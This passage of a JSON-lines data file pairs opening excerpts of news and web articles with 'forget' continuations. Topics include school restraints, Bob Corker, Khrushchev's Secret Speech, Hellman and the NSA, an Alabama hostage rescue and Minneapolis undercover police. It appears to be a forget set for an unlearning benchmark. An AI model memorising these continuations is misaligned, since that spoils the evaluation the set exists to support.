attempt at a nationwide count showed 163,000 instances of restraints in the 2012 school year. Some schools reported hundreds of restraints, which can include anything from pinning uncooperative children face down on the floor to tying them up with straps, handcuffs or even duct tape. Three-quarters of students who were restrained had physical, emotional or intellectual disabilities. Children have suffered countless injuries from restraints, including broken bones. A government report a few years ago detailed hundreds of instances of abuse and several deaths over two decades. After that report, the U.S. Department of Education's Office for Civil Rights made it mandatory for school districts to tell to the government how many times they have used restraints. The Department of Education declined to say whether they have penalized any districts for failing to report. But underreporting appears to be rampant. Our"}
{"prompt": "Senator Bob Corker, Republican from Tennessee, has criticized Donald Trump on some issues and said he would not run for a third term. WASHINGTON (AP) \u2014 Sen. Bob Corker is always one to speak his mind, and the Tennessee Republican\u2019s new free agent status should make President Donald Trump and the party even more nervous. The two-term lawmaker isn\u2019t seeking re-election. That gives him even more elbow room to say what he wants and to vote how he pleases over the next 15 months as Trump and the party\u2019s leaders on Capitol Hill struggle to get their agenda on track.", "forget": "Corker, a fiscal hawk, is holding the GOP\u2019s feet to the fire on tax legislation, declaring that he\u2019ll oppose any measure that increases the national debt by a single cent. Republicans hold a narrow, 52-seat majority in the Senate, and just three defections would torpedo the top priority in their partisan push. Advertisement Corker delivered a stinging rebuke of the Trump White House after the president\u2019s provocative tweets undermined Secretary of State Rex Tillerson\u2019s diplomatic efforts to resolve the crisis with North Korea. Corker said Tillerson, along with Defense Secretary Jim Mattis and White House chief of staff John Kelly, are \u2018\u2018those people that help separate our country from chaos.\u2019\u2019 Get Today in Politics in your inbox: A digest of the top political stories from the Globe, sent to your inbox Monday-Friday. Sign Up Thank you for signing up! Sign up for more newsletters here And Corker, the Senate Foreign Relations Committee chairman, will be at the center of what may be a stormy debate over the future of the Iran nuclear agreement. Trump\u2019s hostility toward the deal, forged during the Obama administration, has stoked concerns he\u2019s aiming to dismantle the international accord despite Europe\u2019s objections. While Corker considers the deal badly flawed, he\u2019s opposed to scrapping the agreement outright. \u2018\u2018You can only tear these things up one time,\u2019\u2019 Corker said. \u2018\u2018It might feel good for a second. But one of the things that\u2019s important for us is to keep our allies with us, especially our Western allies.\u2019\u2019 On Sunday morning, Trump went on a Twitter offensive against Corker, saying that he was \u201clargely responsible for the horrendous Iran\u201d deal and that he \u201cdidn\u2019t have the guts to run\u201d for reelection. Senator Bob Corker \"begged\" me to endorse him for re-election in Tennessee. I said \"NO\" and he dropped out"}
{"prompt": "The 20th Congress of the Communist Party of the Soviet Union was held during the period 14\u201325 February 1956. It is known especially for First Secretary Nikita Khrushchev's \"Secret Speech\", which denounced the personality cult and dictatorship of Joseph Stalin.[1] Delegates at this Congress of the Communist Party of the Soviet Union were given no advance warning of what to expect. Indeed, proceedings were opened by First Secretary Khruschev's call for all to stand in memory of the Communist leaders who had died since the previous Congress, in which he mentioned Stalin in the same breath as Klement Gottwald. Hints", "forget": "of a new direction only came out gradually over the next ten days, which had the effect of leaving those present highly perplexed. The Polish communist leader Boles\u0142aw Bierut died in Moscow under mysterious circumstances shortly after attending the 20th Congress. The congress elected the 20th Central Committee. Secret speech [ edit ] On 25 February, the very last day of the Congress, it was announced that an unscheduled session had been called for the Soviet delegates. First Secretary Khrushchev's morning speech began with vague references to the harmful consequences of elevating a single individual so high that he took on the \"supernatural characteristics akin to those of a god.\" Khrushchev went on to say that such a mistake had been made about Stalin. He himself had been guilty of what was, in essence, a distortion of the basic principles of Marxism-Leninism. The attention of the audience was then drawn to Lenin's Testament, copies of which had been distributed, criticising Stalin's \"rudeness\". Further accusations, and hints of accusations, followed, including the suggestion that the murder of Sergey Kirov in 1934, the event that sparked the Great Terror, could be included in the list of Stalin's crimes. While denouncing Stalin, Khrushchev carefully praised the Communist Party, which had the strength to withstand all the negative effects of imaginary crimes and false accusations. The Party, in other words, had been a victim of Stalin, not an accessory to his crimes. He finished by calling on the Party to eradicate the cult of personality and return to \"the revolutionary fight for the transformation of society.\" The speech shocked delegates to the Congress, as it flew in the face of years of Soviet propaganda, which had claimed that Stalin was a wise, peaceful, and fair leader. After long deliberations, in a month the speech"}
{"prompt": "Tuesday's election results were pretty good for progressives. The retirement of that windbag chameleon Sen. Arlen Specter is long overdue, and pro-labor forces were able to push Sen. Blanche Lincoln into a runoff in Arkansas. Even the big tea party win in Kentucky has its bright side. Count me as one lefty liberal who is not the least bit unhappy with the victory by Rand Paul in Kentucky's Republican primary for the U.S. Senate. Not because it might make it easier for some Democratic Party hack to win in the general, but rather because he seems to be a principled", "forget": "libertarian in the mold of his father, Rep. Ron Paul, R-Texas, and we need more of that impulse in the Congress. What's wrong with cutting back big government that mostly exists to serve the interests of big corporations? Surely it would be better if that challenge came from populist progressives of the left, in the Bernie Sanders mold, but this is Kentucky we're talking about. Rand Paul, like his dad, is worthy of praise for standing in opposition to the Wall Street bailout, which will come to be marked as the greatest swindle in U.S. history and which was, as he noted on his website, an unconstitutional redistribution of income in favor of the undeserving rich. \"Federal bailouts reward inefficient and corrupt management, rob taxpayers, hurt smaller and more responsible private firms, exacerbate our budget problems, explode national debt, and destroy our U.S. dollar. Even more importantly, any bailout of private industry is in direct violation of the Constitution. It is a transfer of wealth from those who have earned to those who have squandered.\" Of course the joker in the deck is the word principled before libertarian, and, as many online commentators have noted, Rand Paul is a bit more inclined to waffle on an interventionist foreign policy than is his father. While he would have insisted on a declaration of war before the U.S. invasion of Afghanistan or Iraq, he argues that Afghanistan, where the 9/11 attack was planned, was a legitimate target but that Iraq was not. In either case, as he insists correctly, a congressional declaration of war was constitutionally required: \"If I had been in the U.S. senate I would have stopped them and said no more, we will have a vote. We will declare war with Afghanistan. We will declare war with Iraq. I"}
{"prompt": "This article is over 7 years old Major rights holders claim search engines make it 'difficult' for people to find legal music and films online Google and Bing accused of directing users to illegal copies of music Google and other search engines \"overwhelmingly\" direct music fans to illegal copies of copyrighted tracks online, a coalition of entertainment industry groups has told the government. In a confidential document obtained under the Freedom of Information Act, lobbying groups for the major rights holders claimed Google and Microsoft's Bing are making it \"much more difficult\" for people to find legal music and films", "forget": "online. The private document, obtained by the free speech campaigners Open Rights Group and shared with the Guardian, urges the government to introduce a voluntary body that would remove rogue websites from internet search results. The proposals were made to the culture minister Ed Vaizey as part of a series of consultations on internet piracy between rights holders, search giants and the government in November last year. The nine-page document was submitted on behalf of the British Phonographic Industry (BPI), the UK body for the music majors, the Motion Picture Association (MPA), the Premier League, the Publishers Association and the Pact, the film and TV independent producers' trade body. Privately, rights holders said there is a \"spirit of optimism\" between the entertainment groups and search engines as they attempt to usher in more legal media sites, including Google's own fledgling music service. Google has in the past year stepped up efforts to remove copyright-infringing content, launching a fast-track removal requests form and filtering terms \"associated with infringement\". However, the rights holders claim in the document that \"as time goes on, the situation is getting worse rather than better\". \"Consumers rely on search engines to find and access entertainment content and they play a vital role in the UK digital economy,\" the rights holders state. \"At present, consumer searching for digital copies of copyright entertainment content are directed overwhelmingly to illegal sites and services.\" The entertainment groups want Google to \"continuously review key search words\" and \"effectively screen\" mobile apps on Android smartphones in an effort to combat illicit sharing. The document claims that 16 of the first 20 Google search results for chart singles link to \"known illegal sites\", according to searches by the BPI in September. In an attempt to persuade the government to clamp down on search engines,"}
{"prompt": "A Controversial Symposium The International Symposium on Information Theory is not known for its racy content or politically charged presentations, but the session at Cornell University on October 10, 1977, was a special case. In addition to talks with titles like \u201cDistribution-Free Inequalities for the Deleted and Holdout Error Estimates,\u201d the conference featured the work of a group from Stanford that had drawn the ire of the National Security Agency and the attention of the national press. The researchers in question were Martin Hellman, then an associate professor of electrical engineering, and his students Steve Pohlig, MS \u201975, PhD \u201978,", "forget": "and Ralph Merkle, PhD \u201979. A year earlier, Hellman had published \u201cNew Directions in Cryptography\u201d with his student Whitfield Diffie, Gr. \u201978. The paper introduced the principles that now form the basis for all modern cryptography, and its publication rightfully caused a stir among electrical engineers and computer scientists. As Hellman recalled in a 2004 oral history, the nonmilitary community\u2019s reaction to the paper was \u201cecstatic.\u201d In contrast, the \u201cNSA was apoplectic.\u201d The fact that Hellman and his students were challenging the U.S. government\u2019s longstanding domestic monopoly on cryptography deeply annoyed many in the intelligence community. The NSA acknowledged that Diffie and Hellman had come up with their ideas without access to classified materials. Even so, in the words of an internal NSA history declassified in 2009 and now held in the Stanford Archives, \u201cNSA regarded the [Diffie-Hellman] technique as classified. Now it was out in the open.\u201d The tension between Hellman and the NSA only worsened in the months leading up to the 1977 symposium. In July, someone named J. A. Meyer sent a shrill letter to the Institute of Electrical and Electronics Engineers, which had published Hellman\u2019s papers and was holding the conference. It began: I have noticed in the past months that various IEEE Groups have been publishing and exporting technical articles on encryption and cryptology \u2014 a technical field which is covered by Federal Regulations, viz: ITAR (International Traffic in Arms Regulations, 22 CFR 121\u2013128). Meyer\u2019s letter asserted that the IEEE and the authors of the relevant papers might be subject to prosecution under federal laws prohibiting arms trafficking, communication of atomic secrets and disclosure of classified information. Without naming Hellman or his co-authors, Meyer specified the issues of IEEE\u2019s Transactions on Information Theory journal and Computer magazine in which Hellman\u2019s articles appeared. Meyer concluded ominously"}
{"prompt": "Back in his mother's arms: Parents' joy as they are reunited with son after FBI shot survivalist captor DEAD in Alabama bunker raid Five-year-old Ethan is talking and laughing with his mother as he spends a precautionary night in hospital Jimmy Lee Dykes, 65, who allegedly stormed a school bus and took Ethan hostage for a week is dead FBI hostage teams used high-tech military surveillance equipment to monitor the survivalist Alabama State Senator Harri Anne Smith relieved for the rescue of Ethan and said 'Mom has been incredible, she has been so brave and has always known her son", "forget": "would be brought home safe.' It is not known whether Dykes was killed by FBI agents or committed suicide The survivalist believed that aliens were being kept by the U.S. government, and they were threatening to take America's weapons Mugshot: Jimmy Lee Dykes, 65, the suspect in the standoff, was killed by the FBI Hostage Rescue Team The five-year-old boy held captive in an underground bunker for seven days has been reunited with his mother. The emotional reunion came after FBI agents stormed the Alabama bunker in which the child had been held and shot his captor dead. Ethan, the child at the heart of the Alabama kidnapping crisis, spent his first evening of freedom playing, eating, laughing and joking around with his favorite toy dinosaur. The ordeal came to a dramatic conclusion at 3.12 p.m. on Monday as FBI agents believed the little boy to be in 'imminent danger' and breeched survivalist Jimmy Lee Dykes's bunker. Speaking this evening Sheriff Wally Olson, who has been on the site almost constantly since Ethan's abduction and the shooting of school bus driver Mr Charles 'Chuck' Poland, said: 'He's a very special child who's endured a lot and by the grace of God he's okay.' He added that, speaking as a parent himself, 'It is a relief to reunite a mother with her child.' That longed for reunion took place at Flowers Hospital, where Ethan was taken following his rescue. He arrived sitting up on a stretcher. Steve Richardson, FBI Special Agent in Charge of the agency's Mobile, Alabama Office said: 'I have been to the hospital and he's doing fine. He's laughing, joking, eating..doing the things you would expect a normal five or six year old to do.' Scroll down for video A photograph of 'Ethan' the five-year-old hostage who was"}
{"prompt": "The restaurant had been particularly busy that night, and I was starving. At the time, I was working as a server to put myself through grad school in a whimsical little eatery where the joke was that \u201cin order to be hired, you have to at least be a little curious.\u201d As the night slowed, I wandered downstairs to the kitchen in search of some abandoned nosh, and as I stood in the hallway munching on some chips, one of my coworkers walked by, ran his hand seductively across my waist, and instructed me to remember that \u201cstraight skinny is", "forget": "gay fat\u201d with a judgmental glance at my deep-fried snack. Such is the body conscious world of gay men. Our subculture teems with adages like this one that declare our allegiance to the gods of Youth, Physique, and Sex. \u201cStraight skinny is gay fat.\u201d \u201cNo fat, no fem.\u201d \u201cTwenty-five is the new forty-five.\u201d These phrases represent the pervasive undercurrent of unrealistic body norms and expectations that runs rampant and unchecked in the gay community, surfacing with every shirtless bartender\u2019s chiseled pecs, every headless six-pack flaunting itself on Grindr, and every media portrayal of a gay man as the modern-day Adonis. Physical appearance has indeed become a central factor to the contemporary gay man\u2019s sense of self, and we are beginning to crack beneath the burden of its expectations. According to the research literature, gay men display significant rates of body dissatisfaction, body image disturbances, and disordered eating behavior to a degree that closely aligns with those of straight women. Gay men are more likely to diet, fast, vomit, and over-exercise to alter their physique, and a gay sexual orientation has been identified as a specific risk factor for eating disorders in men. And, to be fair, we come by our physical preoccupation naturally. Historically, appearance cues have always been the medium gay men have used to identify each other, and as a minority group, gay men face the challenge of being socialized into the majority culture\u2019s masculine muscle ideologies, while also balancing the expectation of thinness within the subculture. Individuals who are sexually involved with men, furthermore, tend to be more focused on appearance due to the common belief that men place higher priority on a partner\u2019s physical form than women. What this seems to have developed into, however, is a hyper-image-focused culture that organizes and defines each of its"}
{"prompt": "No one at Nabisco\u2019s corporate headquarters in New York City had any idea why members of the National Organization for Women were lined up outside. It was the fall of 1971, and the manufacturer best known for their Oreo and Chips Ahoy! snacks had not made any obviously sexist advertisements or taken any particular political stance. They sold cookies. Then they read the signs: \u201cSick toys for children make for a sick society.\u201d That May, Nabisco had attempted to diversify by purchasing Aurora Company, the West Hempstead, New York model kit maker best known for their plastic kits of Frankenstein\u2019s", "forget": "monster, the Wolf Man, and other horror film icons. The cheap plastic toys came in pieces and could be glued together and painted. Unknown to Nabisco, Aurora had recently branched out and begun offering entire model kit dioramas. Instead of a single figure, consumers could buy detailed \u201csets\u201d for their monsters to interact with. There was a guillotine, a razor-sharp pendulum, and a laboratory; a female protagonist, referred to in the copy as \u201cthe Victim,\u201d was scantily-clad and ready to be dismembered, beheaded, or trapped in a spiked cage. Kids could also opt to have Vampirella, the top-heavy villain licensed from Warren Publishing, operate the winch and pulley while her plastic captive was shackled to a table. Each kit also contained a comic, which instructed builders on how to assemble the torture scenes for maximum enjoyment. A narrator named Dr. Deadly seemed to opine on the appeal of the Victim once she was fully assembled. \u201cNow that you\u2019ve gotten her all together, I think I like the other way. In pieces \u2026 yesssss.\u201d In addition to Fig Newtons, Nabisco realized it had also been peddling tiny torture racks. Z1DO4U via YouTube Since its inception in 1952, Aurora had seen enormous success by exploring the horror genre. As television came into prominence and late movies screened the classic Universal monster films of the 1930s, a new generation of monster buffs had been nourished. Kits featuring Dracula, the Mummy, and even Godzilla were cheap to produce and sell. (Many models retailed for just 98 cents.) Having the consumer construct them with contact cement and model paint gave them a sense of accomplishment. Aurora held contests for custom kits, highlighting winners in monster magazines. By the 1960s, they had started noticing that a lot of submissions revolved around expansive, morbid scenarios: a mad"}
{"prompt": "HAPPY DAY! *****We've reached our initial goal of $25,000 which means everyone who pledges at the $35 level or higher receives DOUBLE the number of listed limited edition signed and numbered hardcover copies of the Quantum Roleplaying Game! So right now if you pledge $42 for U.S. addresses or $47 for International addresses (which now includes shipping) you will receive TWO COPIES of the game! What a deal!***** HAPPY DAY AGAIN! *****We've reached our final goal of $36,000 which means (1) one 24\" x 36\" full color folded poster world map of Quantum will be shipped with every single pledge", "forget": "order $35 and above. While there will be a map of the world inside the Quantum RPG hardcover, it will be a black & white map and obviously won't be bigger than a single page. This 24\" x 36\" poster world map will not only give you the world in amazing full color, but it will be large enough to include a wide variety of extra map tags to add both a little mystery to the world and ensuring that all locations generated during design show up on the poster map.***** ABOUT THIS PROJECT The Quantum Roleplaying Game\u2122 is Infinite X Studio\u2122's first game. The game is a reflection of more than 30 years of RPG gaming and nearly 10 years of writing and game design on the part of Infinite X Studio's founder and President, Joshua J. Frost. Josh's passion for gaming and RPGs in particular is hard to explain in words (and much easier to explain by watching his hyper exuberance during a game session) but know that he wants Infinite X Studio to produce only the highest quality, best-designed, and most enjoyable RPGs possible. It is our dream that we can reach out to both seasoned and new gamers with this project and help us raise enough money to bring the Quantum Roleplaying Game to hundreds of game tables around the globe. Our Kickstarter goal is only set at $13,000 and this covers the barest minimum of costs to write, design, layout, produce art, edit, develop, print, and ship the game. The total funding goal is comprised of 10% Kickstarter fees and Amazon fees, 50% artist, layout, design, editing, and development costs, 10% promotional costs, and 30% printing costs. Should we raise money beyond the $13,000 target, several things will happen: At $15,000, we give most of"}
{"prompt": "A Hobby Lobby store in Antioch, Calif. The privately owned company is seeking a religious exemption from Obamacare\u2019s contraception mandate. Photo by Justin Sullivan/Getty Images The Supreme Court wisely decided Monday not to hear the appeal of a New Mexico photography studio that didn\u2019t want to take pictures at a gay wedding for religious reasons. Good call. The owners of the studio lost in state court because New Mexico\u2014like some states but far from all\u2014has a law protecting against discrimination on the basis of sexual orientation. By taking a pass, the Supreme Court seems to be saying: This is a", "forget": "state-by-state issue at the moment, and there was no need for us to interfere with the balance New Mexico has opted to strike between religious rights and the rights of gay people. But claims in the name of religious liberty are very much alive in other cases, some involving gay customers, and also at the Supreme Court in the pending decision in the Hobby Lobby case. The craft store, as you may have heard, is challenging the requirement in Obamacare that employer-provided health insurance include coverage for certain forms of birth control. The link between fundamentalist objections to birth control and to gay weddings makes the meaning of religious liberty one of this year\u2019s biggest legal battles. I\u2019ve tried to defend a version of religious liberty that balances religious rights against the costs they impose on other people. (My views are heavily informed by the work of a group of scholars including Brooklyn law professor Nelson Tebbe.) In a couple of thoughtful posts, New York Times columnist Ross Douthat responded that my defense of religious liberty is really no defense at all, arguing that it doesn\u2019t concede \u201can inch to actual-existing dissenters.\u201d I\u2019m only in favor of pluralism for the \u201ctruly powerless,\u201d he says\u2014the Amish, as opposed to evangelicals. Other conservatives have also weighed in, and they don\u2019t like my conception of religious liberty either. This is deep and important stuff. So here\u2019s Round 2. The Hobby Lobby case pits the religious freedom of a business that employs 13,000 people against the rights of its female workers to comprehensive preventive care. The idea that such care should include coverage for birth control comes first from Congress, which mandated preventive coverage when it passed the Affordable Care Act. And it comes from the Institute of Medicine, which has plenty of research"}
{"prompt": "There is no shortage of things to protest when it comes to this small Middle Eastern country. From the raging war next door, to its repercussions, to the rampant corruption, human rights abuses, the disappearance of elections, rising unemployment, emigration, crippled institutions, and pollution -the grounds are endless. However, when one looks at Lebanon, protests are virtually non-existent on a large scale at least, not since the 2015 garbage-fueled summer demonstrations -which were an exception to the rule- died out. At every turn of events we witness as those directly impacted take to the streets in small numbers. It is", "forget": "a rarity to see any significant form of consequential solidarity on the advent of crises. Take the kidnapped Lebanese soldiers debacle and the resurfaced waste management disaster for instance. The only protests that occurred related to these issues were those organized by a handful of citizens even though the repercussions of said crises are wide-reaching. In a bid to better understand what has been repeatedly described as a self-induced state of perpetual sleep, I revisited some studies pertaining to cognitive behavior in high stress environments. While I may not be an expert in the field, these models that I am about to present certainly struck a chord. Dissociation: The Hidden Epidemic This seemingly somnambulistic behavioral pattern as exhibited by many Lebanese when it comes to civil rights may in large be due to what psychologists refer to as dissociation. Dissociation is \u201can adaptive defense in response to high stress or trauma characterized by short or long term memory loss and a sense of disconnection from oneself or one\u2019s surroundings.\u201d (After all how many times have we questioned our attention span and our collective memory?) According to Marlene Steinberg and Maxine Schnall, the authors of \u201cThe Stranger in the Mirror: Dissociation \u2013 The Hidden Epidemic,\u201d dissociation is a defense mechanism employed to detach oneself from the emotional stimuli that victims have been or are continuously being exposed to. In other terms, it helps us cope with stressful situations, which may otherwise feel overwhelming. Dissociation can happen in varying degrees, from mild to aggressive. In fact it is so wide-ranging that many of us remain oblivious to our very own dissociation -a vital part of our ingrained survival system. Ever driven a car to a destination only to realize upon arriving that you cannot remember a large part of your trip? That\u2019s"}
{"prompt": "The Somali-born Minnesota police officer alleged to have shot and killed an unarmed Australian woman on Saturday had been lauded by Minneapolis\u2019 mayor and feted by the local community when he joined the force in 2015. \u201cI want to take a moment to recognize Officer Mohamed Noor, the newest Somali officer in the Minneapolis Police Department,\u201d Mayor Betsy Hodges wrote in a Facebook post when Noor began serving the city. \u201cOfficer Noor has been assigned to the 5th Precinct, where his arrival has been highly celebrated, particularly by the Somali community in and around Karmel Mall.\u201d In fact, The Washington", "forget": "Post reported that community threw a party for Noor \u2013 the first Somali-American officer to serve in the precinct. Minneapolis is home to one of the nation's largest Somali communities. \u201cHe came to the United States at a young age and is thankful to have had so many opportunities,\u201d Thomas Plunkett, Noor\u2019s attorney, said Monday. \u201c\u2026For him, being a police officer is a calling.\u201d Abdikadir Hassan, a local community leader, told The Minneapolis Star Tribune that Noor was a role model. \u201cHe is inspiring to young people in the community,\u201d Hassan said. \u201cHe is very supportive and good with the kids. He is such a lovely guy.\u201d Noor, 31, attended Augsburg College in Minneapolis and earned a degree in business administration, management and economics, The Star Tribune reported. But despite reportedly viewing the police force as his \u201ccalling,\u201d Noor took a winding road to the department\u2019s door. He first had jobs in residential property management and as the general manager of a hotel, according to The Star Tribune. In his short time with the Minneapolis Police, Noor has had three complaints filed against him \u2013 two that are still open. The other was closed and Noor wasn\u2019t disciplined. On May 25, a woman accused Noor of assault and battery because he \u201cgrabbed her right wrist and upper arm\u201d and inflamed a pre-existing shoulder injury while officers were forcibly removing her from her home and bringing her to a hospital. Noor, who spoke Somali at home, divorced his wife in December, but documents obtained by The Star Tribune also suggest he was a workaholic. An evaluator was reportedly sent to observe Noor and his son together for an unspecified reason and concluded Noor had an \u201ceven keel and calm demeanor.\u201d But questions continue to surround Noor\u2019s alleged actions on Saturday night."}
{"prompt": "Introduction The Internet can be a scary place with its billions of users, but modern smartphones have a way to let you leave your mark - the selfie camera. That's exactly what the Sony Xperia XA Ultra is all about. It's one of only two phones to feature optical image stabilization on the front-facing camera. And what a camera it is - a dedicated LED flash and a large 1/2.6\" sensor of 16MP resolution. That's the same sensor size and resolution as the main camera on the Galaxy S6! The rest of the Xperia XA Ultra is quite similar to", "forget": "the smaller XA, which (it is no secret) is our favorite looking phone of the new Xperia X line. Aside from the screen, of course, Ultra is Sony speak for a 6\" screen. It has a higher resolution, 1080p, which makes it sharper to boot. And slender it is too - the narrowest 6\" phone in our database, despite its metal sides. Sony Xperia XA Ultra key features Monster of selfie camera: 16MP 1/2.6\" sensor, optical image stabilization, LED flash Narrowest phone with 6-inch screen 6\" 1,080 x 1,920px LCD with 367ppi, Mobile Bravia Engine 2; 2.5D scratch-resistant glass, oleophobic coating Android v6.0 Marshmallow with Xperia launcher MediaTek MT6755 Helio P10 chipset, octa-core 2GHz Cortex-A53 CPU; Mali-T860MP2 GPU; 3GB RAM 21.5 MP camera with 1/2.4\" sensor; 1080p@30fps video recording and hybrid autofocus 16GB of built-in storage and a microSD card slot Single and dual-SIM variants LTE Cat.4 (150Mbps); Dual-band Wi-Fi a/b/g/n; A-GPS/GLONASS receiver, Bluetooth v4.1, FM radio with RDS Active noise cancellation with a dedicated mic 2,700mAh non-removable battery (Pump Express 2.0 charging supported) Main cons Tiny battery for the size, and not particularly efficient 28nm chipset No fingerprint reader OIS on selfie camera, but not on the main camera. Go figure No increased water protection The front-facing camera on the XA Ultra is impressive, more impressive than the main camera on the small XA. So the back camera had to be upgraded too, it got a 21.5MP sensor (1/2.4\" Exmor RS IMX230, if you're keeping score). We don't want an Oppo F1 Plus situation where the selfie cam is better than the one on the back, do we? The Ultra model also gets an extra gig of RAM and a bigger battery too, but that's where the differences end. It's the same chipset, same software, even the battery isn't"}
{"prompt": "U.S. needs 'to do right' for immigrant children: official WASHINGTON (Reuters) - A top U.S. official said on Sunday the U.S. border is not open to illegal entry into the country, but acknowledged the government does need to be sensitive to the tens of thousands of migrant children flowing into detention centers. More than 52,000 unaccompanied minors from Guatemala, El Salvador and Honduras have been caught trying to sneak over the U.S.-Mexico border since October, double the number from the same period the year before. Thousands more have been apprehended with parents or other adults. \"We have to do right", "forget": "by the children, but at the end of the day, our border is not open to illegal migration and we will stem the tide,\" Jeh Johnson, the U.S. Secretary of Homeland Security, said on NBC's \"Meet the Press\" on Sunday. Johnson said that the government administers deportation proceedings to illegal migrants seized at the border, including children. But he added that the government is looking at being more flexible toward the children seized at the border. \"We are looking at ways to create additional options for dealing with the children, in particular, consistent with our laws and our values,\" Johnson said. Johnson repeated the stance, taken by President Barack Obama last week, that the president would take executive action to revamp the U.S. immigration system. \"There are a number of things the president and I, within the confines of existing law, can do to fix the broken immigration system. If Congress doesn't act, we will,\" Johnson said. Johnson would not answer a question on the Sunday show pertaining to whether the U.S. government would deport the current wave of Central American children, saying only that U.S. authorities would stem the tide, and that deportation processes are commenced against illegal immigrants. U.S. immigration officials say the crisis is being driven by a mix of extreme poverty, gangs and drug violence in Central America, as well as rumors perpetuated by human smugglers that children who reach the U.S. border will be allowed to stay. Critics say that the Obama administration has not moved quickly enough to address the problem. Representative Henry Cuellar, a Democrat whose congressional district includes a stretch of the Texas-Mexico border, said on CNN's \"State of the Union\" program that 48,000 people, including 9,700 children traveling without parents, were detained on the Texas border in May. \"We should have"}
{"prompt": "On November 1, 1959, Montreal Canadien Jacques Plante becomes the first NHL goaltender to wear a full facemask. Montreal Maroon Clint Benedict had worn a leather half-mask for a brief time in 1930, after an errant puck smashed his nose and cheekbone\u2014but it blocked his vision, he said, and he took it off after only a few games. By contrast, Plante wore his mask from then on. A few seasons later, his idea began to catch on, and soon almost every keeper in the league wore a mask. Plante had been practicing in his white fiberglass mask all season, but", "forget": "the Canadiens\u2019 coach, the legendarily difficult Toe Blake, wouldn\u2019t allow him to wear it during games. But on November 1, Plante simply put his foot down. Barely three minutes into that night\u2019s game against the Rangers at Madison Square Garden, ace right winger Andy Bathgate wound up and fired a backhand shot from only a few feet away. It cracked Plante across the face, splitting his lip from the corner of his mouth up into his nostril. Blood was everywhere. He kept playing for a few minutes, and then went into the locker room to get stitches from the Garden\u2019s Dr. Kazuo Yanagisawa (who, reporters said, could \u201cstitch a wound, smoke a cigar, and play gin rummy all at the same time\u201d). He was gone for about 20 minutes\u2014an unusually long time for locker-room stitches at a hockey game\u2014and when he returned to the ice he was carrying his cream-colored mask. Blake had pitched a fit about it, the newspapers reported, but Plante insisted. \u201cIf I don\u2019t wear the mask,\u201d he said, \u201cI\u2019m not playing.\u201d ADVERTISEMENT Thanks for watching! Visit Website ADVERTISEMENT Thanks for watching! Visit Website ADVERTISEMENT Thanks for watching! Visit Website Teammates, opponents, fans and reporters mocked Plante mercilessly about it, but Plante didn\u2019t care. \u201cI already had four broken noses, a broken jaw, two broken cheekbones and almost 200 stitches in my head,\u201d he pointed out. \u201cI didn\u2019t care how the mask looked.\u201d And the truth is that Plante was such a good goalie that it almost didn\u2019t matter what he did. (Case in point: Plante always knitted his own underwear and stocking caps, saying that knitting was the only thing that truly soothed him. \u201cSomeday,\u201d he said wistfully, \u201cI\u2019m going to learn to knit with my feet.\u201d) He won the Vezina Trophy, the NHL\u2019s goaltending prize,"}
{"prompt": "The economic pessimists are winning the argument in the U.S. Treasury bond market. Yields on Treasury issues have fallen across the board Monday to their lowest levels in more than a year as some investors continue to seek a haven. The 10-year T-note yield (charted below), a benchmark for mortgage rates, was at 3.04% at about noon PDT, down from 3.11% on Friday and the lowest since April 2009. The two-year T-note was at 0.63%. That\u2019s about half the yield investors were demanding as recently as April 5. Traders say some investors are taking their cue from budget-cutting promises made", "forget": "over the weekend by the world\u2019s wealthiest nations at the G-20 group summit. The biggest countries committed to slashing their budget deficits in half by 2013. The more the industrialized nations talk about reducing spending, the greater the risk that the global economy tilts back toward recession and deflation. At least, that\u2019s how new bond buyers see it, said Tom Di Galoma, head of U.S. rates trading at Guggenheim Partners in New York. \u201cThis is carryover from the \u2018double-dip,\u2019 deflation outlook\u201d that fueled heavy buying of Treasuries last week, Di Galoma said. The 10-year T-note yield was 3.24% a week ago. Economist Paul Krugman has been leading the pack of analysts warning about the risk of sinking into a new morass if governments and central banks pull back on policies to boost the economy. \u201cWe are now, I fear, in the early stages of a third depression,\u201d Krugman wrote in the New York Times over the weekend. The first two U.S. depressions were in the years following 1873 and in the 1930s. The stock market wasn't buying the bond market\u2019s grim message Monday. After slumping last week, stocks were up modestly with about an hour of trading to go. The Dow Jones industrials were up 42 points to 10,185. Some of the fresh demand for Treasuries is tied to end-of-quarter book-juggling, as banks and other financial players look to bolster their balance sheets with liquid securities, traders say. But buyers also must be betting that the raft of economic data this week won\u2019t tell a story of a stronger recovery that could fuel a sudden snap-back in interest rates. A tepid report Monday on May consumer spending helped bolster the econ bears\u2019 case. On Friday the government will report on June employment trends. The private sector is estimated to have"}
{"prompt": "Three prostitution cases have been thrown out this month by Hennepin County judges and the Minneapolis city attorney, who said Minneapolis undercover police investigators went too far. The officers\u2019 sexual contact with the female suspects also drew a sharp denunciation from the county\u2019s chief public defender, Mary Moriarty. \u201cDo citizens want officers behaving in this manner?\u201d Moriarty asked Wednesday. Two of the cases were dismissed by Hennepin County judges in rulings that found the officers\u2019 actions constituted \u201coutrageous government conduct.\u201d The third was dismissed by the Minneapolis city attorney in light of one of the judges\u2019 rulings. On Wednesday, Minneapolis", "forget": "police said the department has discontinued such undercover investigations pending a full review of its policies. The department declined to comment on the specific cases. None of the three officers involved in the cases is under internal investigation. As far back as 2009, the Minnesota Court of Appeals had addressed such conduct by Minneapolis police when it reversed a prostitution charge, citing similar pre-arrest behavior. At the time, then-Chief Tim Dolan asked for an internal inquiry on how the investigation was handled. In the first of the three recent cases, Moriarty\u2019s office learned of the conduct as it defended a woman charged in March with four misdemeanor and gross misdemeanor charges of prostitution and illegal acts at a massage business, including exposure and unlawful touching. The city attorney\u2019s office said at the time that the case was prompted by community complaints about possible prostitution activity at a south Minneapolis business. When assistant public defender Briana Perry received the case, she e-mailed Moriarity the 36-minute audio recorded during the encounter between officer Steven Lecy and the woman at the massage parlor, saying she found the officer\u2019s behavior \u201cjust disgusting.\u201d Moriarity sent the case to City Attorney Susan Segal and asked for a dismissal, but Segal declined. On the recording, after nearly 30 minutes of small talk about tattoos, the weather and his broken hand, Lecy, who also compliments the woman\u2019s anatomy, interrupts the massage and asks the woman if she wants him to flip onto his back. She begins touching his genitals as part of a naked \u201cbody-to-body\u201d massage. Lecy can be heard moaning. A few moments later, he says the words \u201crepeat customers,\u201d code to backup officers that it\u2019s time for an arrest. They then enter the room. Moriarty said Lecy arrived two hours late for this week\u2019s dismissal motion"}
